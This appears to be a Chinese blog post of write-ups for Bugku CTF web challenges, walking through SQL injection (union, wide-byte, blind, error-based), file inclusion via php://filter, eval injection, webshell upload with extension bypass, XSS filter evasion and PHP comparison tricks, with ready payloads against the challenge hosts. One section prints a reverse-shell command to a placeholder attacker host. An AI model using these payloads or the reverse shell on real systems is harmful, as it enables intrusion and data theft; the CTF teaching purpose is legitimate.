theKingOfNight
theKingOfNight

Bugku------Web（持续更新）

我使用的是火狐浏览器

使用火狐浏览器的hackbar插件

如果有错误的地方希望大家多多指出，多谢多谢

WEB2

点开图片是一组滑稽脸，按F12直接可得flag

文件上传测试

通过上传.png文件，得知非php文件，于是采用burp进行修改上传的文件。

Bugku------Web（持续更新）_第1张图片

得到flag

计算器：

直接按F12,将

Bugku------Web（持续更新）_第2张图片

在输入正确结果即可得到flag

web基础$_GET

```

$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

```

根据题意，直接将what赋值为flag

 web基础$_POST

和上到题差不多，然后就这样

Bugku------Web（持续更新）_第3张图片

得到flag

矛盾

观察题目，应该是使用is_numeric遇到%00截断的漏洞,这里构造

http://120.24.86.145:8002/get/index1.php?num=1%00

得到flag

web3

界面有点不尽 的弹窗，应该是使用了大量的alert语句，直接查看网页源代码

最后一行是这样的

使用html解码，得到flag

sql注入

在题目后面加'，网页出错，说明有sql注入漏洞，查看网页源代码，查看是什么语言编码

"gb2312"，考虑宽字节注入。

?id=1%bf'，程序报错

?id=1%bf' --+程序又恢复正常

那么我们就要开始工作喽

?id=1%bf' and version()>0--+，返回正确，则数据库可能为sqlserver和mysql

?id=1%bf' and length(user())>0 --+ 返回正确，说明存在user()函数，是mysql数据库

?id=1%bf' order by 2--+ 采用order by 语句查询数据库的列数，为2

?id=1%bf' union select 1,2--+ 来确定回显

我们这里采用其中的一个回显位置

?id=1%bf' union select database(),2--+ 查询数据库名称为sql5

?id=1%bf' union select string,2 from sql5.key where id=1--+ 然后查询key表,id=1的string字段

得到flag

域名解析

域名解析需要修改hosts文件，这里我们使用ubuntun虚拟机进行这道题的解答

首先输入这样打开hosts文件

Bugku------Web（持续更新）_第4张图片

将host文件修改为这样，然后直接访问flag.bugku.com得到flag

SQL注入1

和SQL注入差不多，我们来看看这道题，这道题与上到题差距不大，这里只是加入了XSS过滤，但是XSS过滤,strip_tags（）会将html,php,xml标签全都去掉，利用这一特点，我们来进行解题

老规矩：

http://103.238.227.13:10087/'    存在SQL注入漏洞

http://103.238.227.13:10087/?id=1%20o%3Cp%3Erder%20by%202--+ 判断程序的字段名为2

http://103.238.227.13:10087/id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20database(),2--+                            判断数据库名称为sql3

http://103.238.227.13:10087/?id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20hash,2%20fro%3Cp%3Em%20sql3.key%20where%20id=1--+    查找表为key的数据表，id=1值hash字段值得到flag

你必须让他停下

打开网站后网页一直都在跳动，而且页面不同，猜测flag在其中的一些网页中，采用burp一帧帧的看，在Repeter多次go，很容易就得到了flag

本地包含

方法一

        对_REQUEST[]函数并不是很了解，百度得到它对get/Post都可以接受

        其中第一句话include“flag.php”说明该文件在本地

         第二句话要获得hello的值，由于hello为’hello’，所以无论在url栏中对hello赋任何值，都会全盘接受,其中var_dump（）是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)

    根据这一特性，我们尝试将flag.php文件直接输出

构造如下：http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23

使原文语句为

```

    eval(“var_dump(1);print_r(file(“./flag.php”))”)

```

方法二：

    另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')

    然后查按F12可以知道flag

变量1

首先观察程序，很明显看到了$$args,考虑到此题可能考GLOBALS变量，直接构造如下赋值即可：

http://120.24.86.145:8004/index1.php?args=GLOBALS

得到flag

web5

查看网页源代码，发现了一大堆[]()组合，考虑是JSFUCK，

直接将括号复制到谷歌浏览器的控制台运行得到flag

头等舱

Bugku------Web（持续更新）_第5张图片

采用burp抓包：

Bugku------Web（持续更新）_第6张图片

提交flag即可

web4

查看网页源代码p1=%..%...；p2=%..%...

题目最后p1+%..%...+p2

先进行URL解码

```

p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32=54aa2

```

提交67d709b2b54aa2aa648cf6e87a7114f1

得到flag

flag在index里

将网页点开，在点击相应连接，网页地址栏变为:

http://120.24.86.145:8005/post/index.php?file=show.php

看到了file关键字，看看用php://filter能否将index读出来

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

将得到了base64解码，观察程序得到flag

输入密码查看flag

直接burp爆破

点击一百万次

真正点击100 0000 是不可能的，尝试F12修改点击次数，未果

修改程序中的jsp代码，未果

查看网页源代码，根据

if(clicks >= 1000000)

直接将clicks赋值为10000000（POST方法），查看结果 

得到flag

备份是个好习惯

打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

将里面的东西解码,每个解码的方式都试过了，未果，观察里面的加密值，发现先后重复

将d41d8cd98f00b204e9800998ecf8427e解密

Bugku------Web（持续更新）_第7张图片

然后在flag中试了各种与空有关的东西，未果。

观察题目，说备份是个好习惯猜测应该与备份有关

小知识：

    备份文件一般情况是在后缀名后加的*.swp，*.bak

    http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

看看里面有什么东西

http://120.24.86.145:8002/web16/index.php.bak

访问成功了，随便用个什么编辑器把这个东西打开，我这里使用的是bycharm（给在校大学生安利一波）,里面的代码是这样滴：

```

include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

echo $flag."取得flag";

```

要求key1和key2的md5值相等，但是值不相等

百度得这两个值为240610708和QNKCDZO，尝试赋值，并没有什么变化

继续观察源程序，发现程序中将key字符变为空，考虑用kkeyey取代key,

然后果然得到了flag

成绩单

向其中分别输入1,2,3...发现可以查询，当向其中输入1'时，程序不能查询，根据观察题目，猜测应该有4列

输入0，没有查询结果，在这里使用0作为回显，输入0' union select 1,2,3,4 #

得到相应的值

先查询数据名称0' union select database(),2,3,4; 为skctf_flag

然后查询表名

```

id=0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#

```

查到为flag4，继续查询列名，得到skctf_flag，然后继续查询，

得到flag

秋名山老司机

要求在2秒之内计算结果，多次刷新界面，有时候回出现如下界面：

无奈，只好写一个脚本，对value赋值,这里将代码贴上

```

import requests

import re

import base64

url='http://120.24.86.145:8002/web6/'

s=requests.session()

r=s.get(url)

flag=r.headers['flag']

print(flag)

flag1=base64.b64decode(flag)

print(flag1)

flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])

#将flag分为两部分，[1:-1]就是获取到的值

print(flag2)

data={"margin":flag2}

r=s.post(url,data)

print(r.text)

```

cookies欺骗

打开网页后是一堆乱码，但是看到url中filename=a2V5cy50eHQ=，尝试解码，get文件夹keys.txt，打开什么也没有。

由于keys.txt是以base64编码输入的，我们不妨以base64编码的方式传入index.php,看看有什么结果也是什么也没有。

尝试将地址栏中的line赋值为1，终于出现了一行代码，然后估计line为几，就是读取第几行，一行行试的比较麻烦，这里写一个脚本来获取整个index.php文件，这里贴上代码:

```

import re

import requests

url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'

for iin range(100):

url1=url%i

c1=requests.get(url1).text

print(c1)

if c1=='':

break

```

得到的index.php文件中的代码如下:

```

'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

```

看到了keys.php猜测flag在这里。然后在flag.php中传入margin=margin，得到flag

Bugku------Web（持续更新）_第8张图片
如图所示

XSS

查看网页源代码，感觉只有可能给变量id和s赋值，这里先采用id赋值

然后查看网页源代码

发现其中的<>被过滤，这样就简单了，使用unicode编码进行绕过

?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

进行输入，得到flag

never give up

查看网页源代码，发现了1p.html，直接访问，发现跳转回主界面

但是1p.html是实实在在存在，而且还在当前目录，考虑如何访问1p.html

查看源代码中直接将index.php修改为1p.html，没想到竟然成功访问了

将得到的语句进行Base64解码，根据解码的结果在进行一次url解码，查看源代码，发现当前目录存在f4l2a3g.txt，访问得到flag

welcome to bugkuctf

查看源代码，访问hint.php,正常来讲，一个php文件是有内容的,考虑如何访问到hint.php

程序需要先使user的值与welcome to the bugkuctf相同，但是这里有file_get_contents()函数

可以采用php://input才访问原始请求数据的只读流，这里将txt赋值为php://input

在post相应的值。

Bugku------Web（持续更新）_第9张图片
具体操作流程

将file赋值为phpfilter读相应的base64编码的文件。代码如下：

Bugku------Web（持续更新）_第10张图片
hint.php

看到了flag.php，估计我们的flag就在其中，通过访问hin.php的方式在来访问flag.php，方法不可行，就需要考虑其他的方法了。

通过思考，一种可行的方法就是通过在index.php（如果一个地址栏末端是'/'，则默认是index.php）中通过一些方法使hint.php加入其中，在通过一定的方法使hin.php包含flag.php 

而我们看到的index.php文件只有一段注释性的代码，里面应该还有一些其他的东西，尝试是否可以访问。直接将一开始插图中的hint.php改为index.php就好了。

   果然，其中还是藏有许多东西的（将代码复制粘贴出来保存为txt文件）：

Bugku------Web（持续更新）_第11张图片
flag.php

这里用到了反序列化（我并不是很熟悉，多亏大佬的帮助），这里附上源代码:

Bugku------Web（持续更新）_第12张图片
反序列化的源代码

这样思路就清楚了，尝试给password复制为反序列化的值，查看结果

Bugku------Web（持续更新）_第13张图片
反序列化的值就是password那堆恶心的东西

然后查看源代码就拿到了flag.

过狗一句话

看题目意思应该就是需要给s赋值，看到题目的时候也是觉得无从下手，多谢大佬的指点，使得做题在有了一些眉目。

    首先将s赋值为phpinfo(),发现可以访问，说明s可以输出我们输入的结果

    然后题目一般flag文件都在.php文件中显示，尝试查看所有的文件

                                                s=print_r(glob('*.*'))

    然后可以看到flag文件，直接访问相应的flag文件得到flag

字符？正则？

看题目就是给id根据正则表达式的条件赋值，我的赋值是这样的:

http://120.24.86.145:8002/web10/?id=/keyaakeyaaaaakey:/a/aakeya'/i

然后就拿到了flag

前女友(SKCTF)

点击查看源代码，然后在查看code.txt，代码如下：

Bugku------Web（持续更新）_第14张图片
code.txt

意思大致就是v1!=v2，md5值相等，之前提到过，是240610708和QNKCDZO，然后比较v3和flag，这里利用了strcmp的一个漏洞，不能比较数组，这里我的构造如下:

payload

成功拿到flag

login1(SKCTF)

这道题是一个登陆框，登陆admin，提示用户已经存在，后来自己注册了一个账号，结果不是管理员不能查看flag，未果。在考虑如何使用admin登陆，刚开始使用万能密码登陆，结果没有登陆成功，然后尝试用约束攻击，约束攻击的原理就是注册用户名为'admin    '（有多个空格，这里是三个）的账号，密码'123'（密码可以自定义），然后登陆成功，但是数据库会返回表中的第一个用户，也就是真真实实的admin（这个漏洞只可能在老版本的sql中出现，新版本的mysql已经修复漏洞）,然后就可以用admin的身份登陆网页，拿到flag。

    这里我注册的账号为‘admin   ’（三空格），密码为‘ABCabc123’然后就成功以管理员的身份拿到了flag

    不过好像提交不了，这个题可能被破坏了吧?

你从哪里来

Bugku------Web（持续更新）_第15张图片

           这个题是真的好迷啊，刚开始做没做出来，打开界面就这么一句话:are you from google?

        然后改了半天没出来，后来用谷歌也没打开，甚至翻到了国外用谷歌来访问这个题还是老样子。

        后来在群里激烈的讨论了下才知道原来是这么做的啊：

Bugku------Web（持续更新）_第16张图片

将这个地方改为谷歌原生的网址就好了:https://www.google.com

中国用谷歌会默认转到香港hk。

md5 collision(NUPT_CTF)

Bugku------Web（持续更新）_第17张图片

md5碰撞，emmmm，这道题算是做了好久，脑洞不够大！！！！

打开文件，要求输入a的值，不过文件的后缀名是.php（一般要用到0e开头的）,

这里就需要补充一波常识了：

        在php文件中，以MD5值以0e开头的话，php就会认为他们两个的值相等  。所以可以写个脚本来跑出一个以0e开头的

Bugku------Web（持续更新）_第18张图片

不过这里跑出来的是数字，然后没有通过检测，可能需要使用字符串。    

编程能力有限，然后直接在网站上找了以0e开头的字符串：

                http://www.219.me/posts/2884.html

然后直接选其中一个提交拿到flag

Bugku------Web（持续更新）_第19张图片

各种绕过

看到了flag.php，鸡动的赶紧看看能不能直接看，然后未果。

考虑开始好好看一遍题目

Bugku------Web（持续更新）_第20张图片
题目

最开始获取id时需要用urldecode解码（如果没有用url编码，解码还是原来的东西）

第一行的比较中，uname必须!=passwd才可以继续

第二次比较中，sha1是哈希算法，可以使用数组绕过

这样payload就比较简单了，这里我附上我的payload

Bugku------Web（持续更新）_第21张图片
payload

获得flag

web8

打开网页，附上源代码：

Bugku------Web（持续更新）_第22张图片
题上 的 代码

看到了熟悉的file_get_contents函数，可以使用php://input给fn赋值，ac直接赋值，然后使两个相等就可以了，知道题还是比较简单的，这里附上我的payload

Bugku------Web（持续更新）_第23张图片
我的payload

细心

    想办法变成admin

Bugku------Web（持续更新）_第24张图片
刚打开题目网页

看到题目吧，还是比较懵的，给的两个按钮点击有没有什么用，然后就看看网页呗。

题目的意思打开是在找文件或目录，这样我们先来看一下网页可以直接访问的文件有哪些：

Bugku------Web（持续更新）_第25张图片
一般网站都会有robots.txt文件的，存放可以直接访问的文件子目录

根据提示，在看看resusl.php文件

Bugku------Web（持续更新）_第26张图片
resusl.php

看到以后慌的一批，考虑换个ip做这道题，但是还是先看看不换ip能不能做

题目中的一个小提示是想办法变成admin，题目中需要获取x的值，自然想到直接将x赋值为admin，没想到直接就拿到了flag，这道题难度也不是很大。

求getshell

这道题是文件上传题，本来用菜刀做了一小会，然后bugku好像把菜刀给ban了。无奈，用burp来做这道题。然后直接上传菜刀中的一句话木马

123.php里面的 东西

这道题后来尝试了好久，但是没有做出来，无奈，只好找大佬寻求帮助

大佬说这道题是后缀名黑名单检测和类型检测

    如果是walf严格匹配，通过修改Content-type后字母的大小写可以绕过检测，使得需要上传的文件可以到达服务器端，而服务器的容错率较高，一般我们上传的文件可以解析。然后就需要确定我们如何上传文件，这里将文件的后缀名改为.jpg和.png都不可行，在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml（php的别名），发现只有php5没有被过滤，成功上传，得到flag

Bugku------Web（持续更新）_第27张图片
我滴payload

INSERT INTO注入

点开题目，有如下程序代码：

Bugku------Web（持续更新）_第28张图片
代码

观察程序，程序关闭的了错误报告 ，大致意思是将访问者的ip记录到数据库进行查询。

然后点开其中的链接，网站记录了其中的ip地址，可以想到http头注入，而且我也是第一次接触头部注入，只会稍稍用一下XFF

Bugku------Web（持续更新）_第29张图片
我的XFF

发现无论在XFF后添加什么东西，都会返回原来的东西，所以应该是Insert型的SQL注入，考虑时间盲注

Bugku------Web（持续更新）_第30张图片

通过测试，这样会进行延时5秒，说明是时间盲注，而且是字符型的时间盲注

我也是第一次接触时间盲注，心里慌的一批，这里采用暴力法寻找数据库名，表名，字段名和内容。原理就是超时等待，我们先来爆破数据库：

Bugku------Web（持续更新）_第31张图片
爆破数据库名称的代码

代码比较多，而且大部分都是重复的，这里我说一下思路，先盲注得到数据库，在爆破表、字段，最后在盲注指定的数据，得到flag。

这道题第一次做真的是相当的难，我也戈了好久。

这是一个神奇的登陆框

这道题还算比较简单。打开题目，随便输个什么用户名，这里以amsoasod为例，loadurl，界面框如下图所示：

Bugku------Web（持续更新）_第32张图片
我所弄的东西

然后点击执行，结果当然是try again!,首先在用户名后面加个\，出现错误，则存在注入漏洞

Bugku------Web（持续更新）_第33张图片
BUG

然后尝试怎么将漏洞利用，在"后面加了--+,不行，但是%23和#都可以，然后就可以注入了，利用order by确定列数

admin_name=amsoasod" order by 2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定回显：

admin_name=amsoasod" union select 1,2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定数据库名称：admin_name=amsoasod" union select database(),2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定数据库里面的表

    admin_name=amsoasod" union select table_name,2 from information_schema.tables where table_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO

确定表中的字段：admin_name=amsoasod" union select column_name,2 from information_schema.columns where table_schema='bugkusql1' and table_name='flag1'%23&admin_passwd=aaaa&submit=GO+GO+GO

然后获取其中的数据：admin_name=amsoasod" union select flag1,2 from bugkusql1.flag1%23&admin_passwd=aaaa&submit=GO+GO+GO

多次

    本题有2个flag

第一关是双写绕过，很简单的，试一下就好

PHP_encrypt_1(ISCCCTF)

感觉这个题应该是密码学的题，不过难度不大，直接对应解密就好了，这里偷给懒，就不写了。

文件包含2

Bugku------Web（持续更新）_第34张图片

一打开之后题目是这样的：http://118.89.219.210:49166/index.php?file=hello.php

然后查看源代码，没什么有用的东西，但是其中应该会隐藏什么

然后采用php://filter查看网页：http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

然后查看源代码：

view-source:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

访问http://118.89.219.210:49166/upload.php

Bugku------Web（持续更新）_第35张图片

我直接上传了一个小马

然后采用菜刀连接，结果连接如下图所示

Bugku------Web（持续更新）_第36张图片

就是说其中的已经被屏蔽了，使得脚本无法执行，然后尝试修改文件，使得不会过滤，其中的一种过滤方法是

Bugku------Web（持续更新）_第37张图片

可以看到代码不会过滤，但是菜刀竟然连不上，可能是被ban了。

然后采用burp抓包，将这个文件进行发送：

Bugku------Web（持续更新）_第38张图片

然后访问这个文件

Bugku------Web（持续更新）_第39张图片

访问第四个文件，可以得到flag。

flag.php

    点了login咋没反应    

    提示：hint

Bugku------Web（持续更新）_第40张图片
题目中的框

    输入东西，然后点击login，果然没反应，然后尝试抓包，鬼也没抓到。所以这个登陆框就只是给人看的，然后地址栏是这样：http://120.24.86.145:8002/flagphp/,顺便百度一下hint是线索的意思，尝试访问hint.*,然后鬼也没出来，然后尝试将hint赋值为1，然后就出来源代码了？？？，这里吧源代码粘上吧：

Bugku------Web（持续更新）_第41张图片
http://120.24.86.145:8002/flagphp/?hint=1

先尝试访问flag.php，然后失败了，然后观察程序程序的意思就是加入cookie：ISecer的反序列化等于KEY，然后又在最下方给出了KEY的值，这样就很简单了直接用burp抓包，然后直接在cookie中加入ISecer='ISecer:www.isecer.com' 的值，结果提交老没用，只好继续观察程序，看哪里出问题了，才发现最下面那是给KEY赋值，只好修改payload，是ISecer为空，提交：

Bugku------Web（持续更新）_第42张图片
我的payload

得到flag

sql注入2

    全都tm过滤了绝望吗？

    提示 !,!=,=,+,-,^,%

这道题按照之前的套路墨迹了好久，没有找到注入点，没有找到回显，蓝瘦，然后百度了一波教程，说是DS_Store典型的源码泄漏，网上找找工具，将网站扫描一下，就能找到flag。最后直接访问http://120.24.86.145:8007/web2/flag，就可以下载到flag

正解

http://hu3sky.ooo/2018/08/18/bugku%20sql2/

孙xx的博客

    需要用到渗透测试第一步信息收集

    点开blog，浏览一哈全部的博客，然后看到了这

Bugku------Web（持续更新）_第43张图片
点开看看如下图
Bugku------Web（持续更新）_第44张图片
网页里面有用的东西

    这两个东西很容易就能联想到时用户名密码，可是这里应该是哪里的用户名密码，

    尝试访问phpmyadmin，没想到成功访问了，然后把上面这两个东西分别作为用户名密码输进去，然后就可以成功登入了，然后

Bugku------Web（持续更新）_第45张图片
数据库的东西

直接点击它，然后查看里面的东西直接就得到了flag

报错注入

Bugku------Web（持续更新）_第46张图片

这道题使用了报错注入，关于报错注入vinc大佬的博文写的是很好的：            http://vinc.top/2017/04/06/

另外，论坛中对报错注入的两篇博文也写的比较详细：

http://www.bugku.com/forum.php?mod=viewthread&tid=152&highlight=%B1%A8%B4%ED

http://www.bugku.com/forum.php?mod=viewthread&tid=93&highlight=%B1%A8%B4%ED

其实 我也是第一次使用报错注入，就来现学现用吧。

Bugku------Web（持续更新）_第47张图片

题目中不能包含空格，根据muysql的特性，可以用换行符（%0a）代替空格符，这里我使用的报错时extractvalue。

首先来测试一下：

Bugku------Web（持续更新）_第48张图片

报错注入成功了，然后我们就可以为所欲为了。

工具题目的提示，我们需要访问文件/var/test/key_1.php,就需要在extractvalue函数中使用读取文件的函数来读取到该文件，但是经过百度读取文件的函数load_file的语法是：

Bugku------Web（持续更新）_第49张图片

都要用到    '    ,这就比较难为人，不过采用ASCIIhex加密就不需要加     '    了,具体payload如下：

Bugku------Web（持续更新）_第50张图片

32个字符解密出来是这样的：

Bugku------Web（持续更新）_第51张图片

很明显这不是一个完整的php文件，尝试将其读完整。而且中间比较乱的部分可能就是flag，

为什么没有读取完整呢？

    load_file文件本身读取时没有问题的，但是extractvalue函数的性质就是只能读32位

这里使用substr(str,start,length)函数来读取剩下的文件。

然后不断的用起点和长度来试探flag，得到的最终paylaod如下：

Bugku------Web（持续更新）_第52张图片

然后提交了好几次都没提交成功，后来才发现原来这里个flag是不完整的，哎

然后需要将substr(str,start,length)函数中的start和length函数进行相应的调整就可以获得全部的flag。

Trim的日记本

    hints：不要一次就放弃

直接扫扫目录，show.php就能看到(不过一般情况下线上比赛是不允许扫目录的)

然后flag就在里面

不知道正解是啥。

login2(SKCTF)

    hint:union，命令执行    

md5绕过登陆，直接上我的payload的

username=1' union select 1,md5(1)%23&password=1

经过fuzz一波，可以发现在;后面的指令会执行，但是不一定会有回显。

然后在网上可以搜到很多反弹shell的payload，我用的是这个
```

/bin/bash -i > /dev/tcp/attackerip/80800<&12>&1

```

Bugku------Web（持续更新）_第53张图片


login3(SKCTF)

    hint：基于布尔的SQL盲注

这个题也是fuzz了好久，直接给payload，没什么好说的

username=admin%bf'or(select(password))regexp'^5&password=admin

username=admin%bf'or(select(password))regexp'^51&password=admin

一个个往下继续就好，最终md5解密

登陆得flag


login4

    hint:CBC字节翻转攻击


补题：

##程序员本地网站

100

http://120.24.86.145:8002/localhost/请从本地访问

X-Forwarded-For:127.0.0.1


##文件上传2(湖湘杯)

200

http://120.24.86.145:9011/

这个题fuzz了好久，后来发现上传正常的图片也无法显示，那么考点肯定不是文件上传了，GG。

直接给payload:

```

http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

```

##网站被黑

60

http://120.24.86.145:8002/webshell/

这个题没技术含量但是实战中经常遇到

打开网页没什么东西，就需要考虑扫描目录，可以扫描到shell.php。密码是hack

登陆即可得flag。


###管理员系统

60

http://123.206.31.85:1003/

F12打开有base64编码，解密是test123

然后admin/test123在根据提示的ip添加X-Forwarded-For:127.0.0.1头部即可拿到flag

POST / HTTP/1.1

Host: 123.206.31.85:1003

X-Forwarded-For: 127.0.0.1

user=admin&pass=test123

先写这么多，有时间的话之后再补上

你可能感兴趣的:(Bugku------Web（持续更新）)

  • 【从问题中去学习k8s】k8s中的常见面试题（夯实理论基础）（二十八） 向往风的男子 k8s学习kubernetes容器
    本站以分享各种运维经验和运维所需要的技能为主《python零基础入门》：python零基础入门学习《python运维脚本》：python运维脚本实践《shell》：shell学习《terraform》持续更新中：terraform_Aws学习零基础入门到最佳实战《k8》从问题中去学习k8s《docker学习》暂未更新《ceph学习》ceph日常问题解决分享《日志收集》ELK+各种中间件《运维日常》
  • 轻量级模型解读——轻量transformer系列 lishanlu136 #图像分类轻量级模型transformer图像分类
    先占坑，持续更新。。。文章目录1、DeiT2、ConViT3、Mobile-Former4、MobileViTTransformer是2017谷歌提出的一篇论文，最早应用于NLP领域的机器翻译工作，Transformer解读，但随着2020年DETR和ViT的出现(DETR解读，ViT解读)，其在视觉领域的应用也如雨后春笋般渐渐出现，其特有的全局注意力机制给图像识别领域带来了重要参考。但是tran
  • MySQl篇（SQL - 基本介绍）（持续更新迭代） wclass-zhengge mysqlsql数据库
    目录一、简介二、SQL方言（分页查询为例）1.简介2.SQL方言大比拼2.1.Oracle2.1.1.使用ROWNUM实现分页查询2.1.2.使用ROW_NUMBER()实现分页查询2.2.MySQL2.3.PostgreSQL三、语法规范四、注释五、MySQL脚本中的标点符号一、简介1、SQL是结构化查询语言（StructureQueryLanguage），专门用来操作/访问关系型数据库的通用语
  • 锋哥写一套前后端分离Python权限系统 基于Django5+DRF+Vue3.2+Element Plus+Jwt 视频教程 ，帅呆了~~ java1234_小锋 Python权限系统django权限系统pythonweb权限系统djangoDRFVUE权限python
    大家好，我是java1234_小锋老师，最近写了一套【前后端分离Python权限系统基于Django5+DRF+Vue3.2+ElementPlus+Jwt】视频教程，持续更新中，计划月底更新完，感谢支持。视频在线地址：打造前后端分离Python权限系统基于Django5+DRF+Vue3.2+ElementPlus+Jwt视频教程（火爆连载更新中..）_哔哩哔哩_bilibili项目介绍本课程采
  • linux find命令 落雨无风 linux
    find.-name"*.v"|xargsgrep"altera_mf"#在当前目录查找所有.v文件，并找出altera_mf的行持续更新中------
  • 百变大侦探【人间客】攻略+答案+凶手是谁+复盘解析+剧透结局 VX搜_彤彤速递
    每天持续更新复盘有15000＋：线下剧本杀·百变大侦探·我是谜·谁是凶手·玩吧·剧本杀线上·戏精大侦探·儿童剧本杀·魔王杀...所有谜题在等着你去揭开。为了你获得更好的游戏体验，本文仅显示《人间客》百变大侦探部分真相复盘，获取完整真相复盘只需两步①【微信关注公众号：云云复盘】②回复【人间客】即可查看获取哦百变《人间客》剧本杀攻略Ⅰ答案Ⅰ复盘剧本角色推荐6人本，边缘角色念生、抗压角色杨意寻·cp线故
  • 猿创征文｜【FreeSwitch开发实践】使用sipp对FreeSwitch进行压力测试 一马途追 FreeSwitch开发实践sipp压力测试FreeSwitch压测
    ✨博客主页：小小马车夫的主页✨所属专栏：FreeSwitch开发实践✨专栏介绍：主要介绍博主在实际项目中使用FreeSwitch开发外呼类项目的一些经验心得，主要涉及FreeSwitch的基本安装编译、基本配置、ESL、WSS、录音、自定义模块、mediabug、语音播放、MRCP及对接AI机器人等内容。内容在持续更新中，如果感兴趣可以对专栏进行订阅~文章目录前言1、sipp编译安装2、sipp命
  • 剧本杀【红豆】复盘解析+凶手是谁+剧透结局+测评+怎么玩？ VX搜_彤彤速递
    每天持续更新复盘有15000＋：线下剧本杀·百变大侦探·我是谜·谁是凶手·玩吧·剧本杀线上·戏精大侦探·魔王杀·儿童剧本杀...所有谜题在等着你去揭开。为了你获得更好的游戏体验，本文仅显示《红豆》剧本杀部分真相复盘，获取完整真相复盘只需两步①【微信关注公众号：云云复盘】②回复【红豆】即可查看获取哦红豆测评（有剧透）她不言相思，只说天上的满月和南方的红豆。《红豆》是民国类型的家国情感本，主亲情线爱情
  • 剧本杀【怪闻！溯灵绘梦卷】复盘解析+凶手是谁+剧透结局+测评+怎么玩？ VX搜_彤彤速递
    每天持续更新复盘有15000＋：线下剧本杀·百变大侦探·我是谜·谁是凶手·玩吧·剧本杀线上·戏精大侦探·魔王杀·儿童剧本杀...所有谜题在等着你去揭开。为了你获得更好的游戏体验，本文仅显示《怪闻！溯灵绘梦卷》剧本杀部分真相复盘，获取完整真相复盘只需两步①【微信关注公众号：云云复盘】②回复【怪闻！溯灵绘梦卷】即可查看获取哦1、问:如何理解妖物之子死亡，可以再附身于人?答:简单可以理解为，妖物之子，自
  • 面试 Python 基础八股文十问十答第一期 程序员小白条 面试八股文系列面试python职场和发展八股文项目实战Python爬虫
    面试Python基础八股文十问十答第一期作者：程序员小白条，个人博客相信看了本文后，对你的面试是有一定帮助的！关注专栏后就能收到持续更新！⭐点赞⭐收藏⭐不迷路！⭐1）Python的基本数据类型Python的基本数据类型包括：整数（int）：表示整数值，如1、2、-3等。浮点数（float）：表示带有小数点的数值，如1.5、3.14等。字符串（str）：表示文本数据，用单引号（‘）或双引号（"）括起
  • 【从问题中去学习k8s】k8s中的常见面试题（夯实理论基础）（十一） 向往风的男子 k8s学习kubernetes容器
    本站以分享各种运维经验和运维所需要的技能为主《python零基础入门》：python零基础入门学习《python运维脚本》：python运维脚本实践《shell》：shell学习《terraform》持续更新中：terraform_Aws学习零基础入门到最佳实战《k8》从问题中去学习k8s《docker学习》暂未更新《ceph学习》ceph日常问题解决分享《日志收集》ELK+各种中间件《运维日常》
  • Python基础知识进阶之正则表达式_头歌python正则表达式进阶 前端陈萨龙 程序员python学习面试
    最后硬核资料：关注即可领取PPT模板、简历模板、行业经典书籍PDF。技术互助：技术群大佬指点迷津，你的问题可能不是问题，求资源在群里喊一声。面试题库：由技术群里的小伙伴们共同投稿，热乎的大厂面试真题，持续更新中。知识体系：含编程语言、算法、大数据生态圈组件（Mysql、Hive、Spark、Flink）、数据仓库、Python、前端等等。网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是
  • 【时时三省】tessy 单元测试 && 集成测试 专栏 文章阅读说明 时时三省 &&集成测试集成测试单元测试
    目录1，关于更新2，关于文章阅读3，关于文章分类1，单元测试2，集成测试3，通用便捷操作4，编译问题集锦5，需求管理6，CTE的使用7，tessy自动化执行用例----通过bat命令行接口山不在高，有仙则名。水不在深，有龙则灵。----CSDN时时三省1，关于更新tessy专栏里面的文章，会持续更新。更新时，目录也会同步更新。所以此专栏的读者如果遇到在此专栏中未介绍的问题，或者此专栏对于哪些方面，
  • 关于在vue2中使用el-tree的记录 又写了一天BUG vue.jselementuijavascript
    此文章会持续更新在使用el-tree过程中应用到的功能...先看此效果：html：//自定义节点内容//此处if判断是让最后一个节点使用自定义的图标{{data.label}}({{data.children.length}}){{data.label}}data:[{label:'菏泽市',children:[{label:'东明县',children:[{label:'xxx1',},{lab
  • 初中级PHP面试基础汇总 PHP9年架构师
    这是我整理的一套面试题,老铁们看看就当复习了哦概述感觉现在发面试题有些冷门，就跟昨天德国那场似的，不过看看当提前复习了。提前备战。这2个月出门面试的童鞋可注意不要中暑哦。10年架构师领你架构-成长之路-（附面试题（含答案））（腾讯T3-T4）打造互联网PHP架构师教程目录大全，只要你看完，薪资立马提升2倍（持续更新）点击与我交流企鹅群说几个你所知道的设计模式单例模式保证一个类仅有一个实例，并提供一
